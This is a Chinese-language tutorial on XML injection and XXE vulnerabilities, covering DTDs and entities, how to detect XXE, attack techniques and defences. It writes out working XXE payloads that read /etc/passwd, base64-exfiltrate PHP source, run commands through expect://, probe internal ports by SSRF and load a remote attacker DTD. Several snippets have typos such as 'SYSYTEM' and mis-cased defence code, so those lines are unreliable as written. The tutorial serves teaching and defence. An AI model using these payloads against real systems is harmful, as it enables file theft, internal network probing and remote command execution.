1、 前言
与XML格式相同的web漏洞,比较广泛的共有xpath注入、xml注入、soap注入、XXE四种。
2、 XML相关的介绍
针对xml语言,要明白两个特性:合法性与合理性。所谓合法性,是指语法层面(比如xml标签严格区分大小写,xml文档必须有一个根元素等)。所谓的合理性是指xml文档要有意义就必须满足一定的约束要求。
在xml技术里,可以编写一个文档来约束一个xml文档的书写规范,这称之为XML约束。常用的约束技术XML DTD和XML Schema。
XML被设计为传输和存储数据,其焦点是数据的内容。
HTML被设计用来显示数据,其焦点是数据的外观。
XML把数据从HTML分离。
XML是独立于软件和硬件的信息传输工具。
基本语法
所有XML元素都必须有一个关闭标签(省略关闭标签是非法的)
XML标签对大小写敏感(标签<book>与标签<Book>是不同的)
XML必须嵌套
XML文档必须有一个元素是所有其他元素的父元素,该元素称为根元素。
XML属性值必须加引号<title lang=“en”>
一些字符拥有特殊的意义则需要用实体来代替。
在XML中编写注释的语法与HTML的语法很相似。<!—根元素-->
XML不会把多个连续的空格字符裁减(合并)为一个
XML以LF存储换行
在XML中,一些特殊字符拥有特殊的意义。为了避免这个错误,请用实体引用来代替特殊字符。
<
<
小于
>
>
大于
&
&
和号
'
‘
单引号
"
“
引号
在XML中,只有字符“<”和“&”确实是非法的。大于号是合法的,但是用实体引用来代替它是一个好习惯。
3、 DTD声明
DTD被声明于XML文档中:
<?xml version=“ 1.0”?>
<!DOCTYPE note [<!—定义此文档是note类型的文档-->
<!ELEMENT note (who,action,what)> <!—定义note元素有四个元素-->
<!ELEMENT who (#PCDATA)><!—定义to元素为“#PCDATA”类型—>
<!ELEMENT action(#PCDATA)><!—定义from元素为“#PCDATA”类型-->
<!ELEMENT what(#PCDATA)><!—定义head元素为“#PCDATA”类型-->
]>
<note>
<who>I</who>
<action>LOVE</action>
<what>THE WORLD</what>
</note>
DTD可作为一个外部引用:
<?xml version=“ 1.0”?>
<!DOCTYPE note SYSTEM “note.dtd”>
<note>
<who>I</who>
<action>LOVE</action>
<what>THE WORLD</what>
</note>
note.dtd:
<?xml version=“ 1.0”?>
<!DOCTYPE note [<!—定义此文档是note类型的文档-->
<!ELEMENT note (who,action,what)> <!—定义note元素有四个元素-->
<!ELEMENT who (#PCDATA)><!—定义to元素为“#PCDATA”类型—>
<!ELEMENT action(#PCDATA)><!—定义from元素为“#PCDATA”类型-->
<!ELEMENT what(#PCDATA)><!—定义head元素为“#PCDATA”类型-->
]>
加载外部DTD时有两种加载方式,一种为私有private,第二种为公告public。
私有类型DTD加载:
<!ENTITY private_dtd SYSTEM “DTD_location”>
公共类型DTD加载:
<!ENTITY public_dtd PUBLIC “DTD_name”“DTD_location”>
在公共类型DTD加载的时候,首先会使用DTD_name来检索,如果无法找到,则通过DTD_location来寻找此公共的DTD。
PCDATA的意思是被解析的字符数据,有PCDATA标志的字符会被当做xml标记来对待,而实体会被展开。但是被解析的字符不应当包含任何&、<或者>字符,需要使用相应的实体编码&、<以及>来替换它们。
CDATA的意思是字符数据,有CDATA标志的字符不会当作标记来对待,比如&等特殊字符只会被当做“&”本身,而不是特殊的标记,通过&引用的实体自然也不会被展开。
4、 DTD实体
实体是用于定义引用普通文本或特殊字符的快捷方式的变量,本质上实体是对数据的引用,实体可在内部或外部声明,由于在xml1.0标准里,DTD可引用外部实体(entity),如果外部实体可被控制,则可能产生文件读取、dos、ssrf等漏洞。
XML中实体类型,大致有以下几种:
1、 字符实体
2、 内部实体(命名实体)
3、 外部实体
4、 参数实体
备注:除参数实体外,其他实体都以字符&开始,以字符;结束,与xxe相关的主要外部实体与参数实体。
字符实体:
对于字符实体,我们可以用十进制格式(&#nnn; 其中nnn是字符十进制值)或十六进制格式(&#xhhh; 其中hhh是字符的十六进制值)比如&x25;表示%
内部实体:
又称命名实体,内部实体只能声明在DTD或者XML文件开始部分(<!DOCTYPE>语句中)。
<?xml version=“ 1.0” encoding=“ utf-8”?>
<!DOCTYPE root [<!ENTITY a “hello”>]>
<root>&a;</root>
外部实体:
外部实体声明:<!ENTITY 实体名 SYSTEM “URI/URL”>
外部实体引用:&实体名;
<?xml version=“ 1.0” encoding=“ utf-8”?>
<!DOCTYPE root [<!ENTITY xxe SYSYTEM “本地或远程文件”>]>
<root>&xxe;</root>
外部实体通过在DOCTYPE头部标签中包含SYSTEM关键字,这些定义的“实体”能够访问本地或远程的内容。
攻击者可以通过实体将自定义的值发送给应用程序,然后让应用程序去呈现。
参数实体:
与一般实体相比,它以字符(%)开始,以字符(;)结束,并且只有在DTD文件中才能在参数实体声明的时候引用其他实体。
参数实体声明:
<!ENTITY %实体名 “实体内容”>
参数实体引用:%实体名;
<?xml version=“ 1.0” encoding=”utf-8”?>
<!DOCTYPE note [ <!ENTITY % remote SYSYTEM “攻击者远程服务器上的xml文件”>
%remote;
]>
<root>&b;</root>
在常规的攻击中有两种情况用到参数实体。1.读取的文件包括特殊字符。2. 在XXE攻击没有回显的情况下,可以利用参数实体来获取回显数据。
5、 Schema介绍(XSD)
XML Schema是基于XML的DTD替代者。
XML Schema 描述XML文档的结构。
XML Schema语言也可作为XSD来引用。
但是目前XSD对XXE攻击相关性不是太大。
6、 甄别一个XML实体攻击漏洞
甄别那些接受XML作为输入内容的端点。但是有时候,这些端点可能并不是那么明显(比如,一些仅使用JSON去访问服务的客户端)。在这种情况下,渗透测试人员就必须尝试不同的测试方法,比如修改HTTP的请求方法,修改Content-Type头部字段等方法,然后看看应用程序的响应,看看程序是否解析了发送的内容,如果解析了,那么则可能有XXE攻击漏洞。
可以参考:
1、 玩转JSON节点的Content-Type XXE攻击
2、 浅谈XXE攻击
在这里一般针对XXE发现基本都是基于三部曲:
1、 检测XML是否会被解析
2、 检测服务器是否支持外部实体
3、 如果上面两步都支持,那么久看能否回显。
然而针对黑盒渗透的特性,测试者无法知道自己任何发送的请求传到服务器时,有没有进入到xml解析器里。如果在客户端明明发送的是json格式的数据但是实际传输到服务器里面了,却进入到了xml解析器里。
7、 XXE的攻击方式
一般技巧:
1、 引用外部实体远程文件读取
2、 URL请求(可借此发起ssrf)
3、 参数实体
4、 通过XInclude包含外部资源
5、 DoS
针对不同的语言的xml解析器支持不同的协议,因此会衍生出不同的攻击方式。
威胁:
对于不同XML解析器,对外部实体有不同处理规则,在PHP默认处理的函数为:
xml_parse和simplexml_load
xml_parse的实现方式为expat库,默认情况下不会解析外部实体;而simplexml_load默认情况下会解析外部实体,造成安全威胁。
在java中,解析xml文件有三种常见的方式:
1、dom 2、sax 3、dom4j
简单来说,dom是将文件一次性的加载到内存中,以dom文档的形式展示,sax是将文件一行行的加载到内存中直接处理,而dom4j需要加载外部jar包,综合性能最高。
默认的Oracle’s Java Runtime Environment下的XML parser是Xerces,一个apache项目。而Xerces和Java提供了一系列的特性,这些特性又能导致一些严重的安全问题。上述的那些攻击手法(DOCTYPEs for SSRF,文件读取,参数实体的外带数据)在java的默认配置下能够运用自如,java/Xerces也支持XInclude,但是需要setIncludeAware(true)和setNamespaceAware(true)..
PHP&expect的RCE
这个扩展并不是默认安装的,然而安装了这个扩展的XXE漏洞,是能够执行任意命令的。
<!DOCTYPE root[<!ENTITY cmd SYSTEM “expect://id”>]>
<dir>
<file>&cmd;</file>
</dir>
还有python、net环境。
参考链接:
1、 浅谈XXE攻防
2、 XXE注入:攻击与防御
3、 XXE漏洞攻防之我见
外部实体引用:
通过外部实体引用,可以获取远程文件内容:例如:
<?xml version=“1.0”?>
<!DOCTYPE root [
<!ENTITY entity SYSTEM “/etc/passwd”>
]>
<root>&entity;</root>
但是这里有个问题,如果文件内容格式太过复杂,就会导致xml解析失败(比如内容里含有空格、一些特殊字符< > &;之类的文件)。
但是还是有绕过方法的,就是使用php伪协议,php://filter读取文件内容(文件内容经过base64过滤器,就是全字符,没有格式干扰)。
格式为:
<?xml version=“1.0” encoding=“utf-8”?>
<!DOCTYPE xdxxe [
<!ELEMENT methodname ANY>
<!ENTITY xxe SYSTEM “php://filter/read=convert.base64-encode/resource=./xxe.php”>
]>
<xdxxe>
<methodname>&xxe;</methodname>
</xdxxe>
URL请求(ssrf)
直接使用外部实体引用就可以发起一个请求,原因是很多xml解析器读取到引用外部文件的模块时,就会强制性发出请求。
针对ssrf的攻击主要是进行内网端口探测和执行只通过http就可以实现的攻击,比如struct2命令执行漏洞简单通过一次http请求就可以成功实现攻击。
1、 探测端口
要发送的payload
<?xml version=“1.0” encoding=“UTF-8”?>
<!DOCTYPE A SYSTEM “内网地址:端口”>
<A></A>
不同的xml解析器针对这种情况会有不同的反应,因此不能一概而论。比如有一些XML解析器处理时,若该内网地址的端口属于监听状态,则服务器的response时间比端口关闭的response时间要漫长很多,这时便可以通过返回时间来判断端口是否处于开放状态。当有回显的时候,也可以直接根据回显的内容来判断内网地址的存活以及端口开放与否。这种攻击有些鸡肋。
2、 Struct2攻击
Payload:
<?xml version=“1.0”encoding=“utf-8”?>
<!DOCTYPE A SYSTEM “内网地址+相关漏洞的paylaod”>
<A></A>
若是内网的某台服务器存在漏洞,则直接执行就行了。
参考链接:浅谈XXE攻防
这里需要注意下:对xml的攻击中,大都是使用外部实体引用,那么如果直接加载xml的时候,禁止外部实体引用,这种情况下,大多数攻击都会失效,但是ssrf不会。
DOS攻击
此payload中先定义了lol实体,值为“lol”的字符串,后在下面又定义了lol2实体,lol2实体引用了10个lol实体,lol3又引用了10个lol2实体的值,依次类推,到了最后在lolz元素中引用的lol9中,就会存在上亿个“lol”字符串。
此时解析数据时未作特别处理,即可能造成拒绝服务攻击。
此外还有一种可能造成拒绝服务的payload,借助读取/dev/random实现。
参考链接:XXE注入:攻击与防御
参数实体:
备注:可以引用到以下两个攻击方面:
1、 基于盲注的XXE注入(XML解析器在响应中不显示任何错误)。
2、 基于错误的XXE注入(成功解析之后,XML解析器始终显示SAME响应,即“您的消息已被接收”,因此我们可以希望解析器将文件内容“打印”到错误响应中)
参数实体,之前在远程文件读取的介绍中,可以绕过文件内容复杂导致解析失败的限制。
参数实体以%开头,我们使用参数实体只需要遵循两条原则:
1、 参数实体只能在DTD声明中使用。
2、 参数实体中不能再引用参数实体。
参考链接:
1、 http://bobao.360.cn/learning/detail/3841.html
2、 https://www.secpulse.com/archives/58915.html
通过Xinclude包含外部资源
基于XInclude的文件包含,使用的另一套xml语法约束:XML schema。
XInclude提供了一种较为方便的取回数据的思路(再也不同担心数据不完整而导致parser抛出一个错误),而我们能够通过parse属性,强制引用文件的类型。
例如:
<root xmlns:xi=http://www.w3.org/2001/XIclude>
<xi:include href=file:///etc/fstabparse=”text”/>
</root>
不过Xinclude需要手动开启,测试发现所有xml parser都默认关闭这一特性。
客户端攻击方式
参考链接:XXE漏洞攻防
其他攻击方式
参考链接:DTD/XXE攻击笔记分享
8、 防御手段
1、 直接使用开发语言提供的禁用外部实体的方法
这样其实没法防御xml制造的ssrf
PHP:
Libxml_disable-entity_loader(true);
JAVA:
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
Dbf.setExpandEntityReference(false);
Python:
From lxml import etree
xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))
2、 过滤用户提交的xml数据
敏感关键字:<!DOCTYPE、<!ENTITY、SYSTEM、PUBLIC
3、 XML文件的解析以及XML外部实体注入防护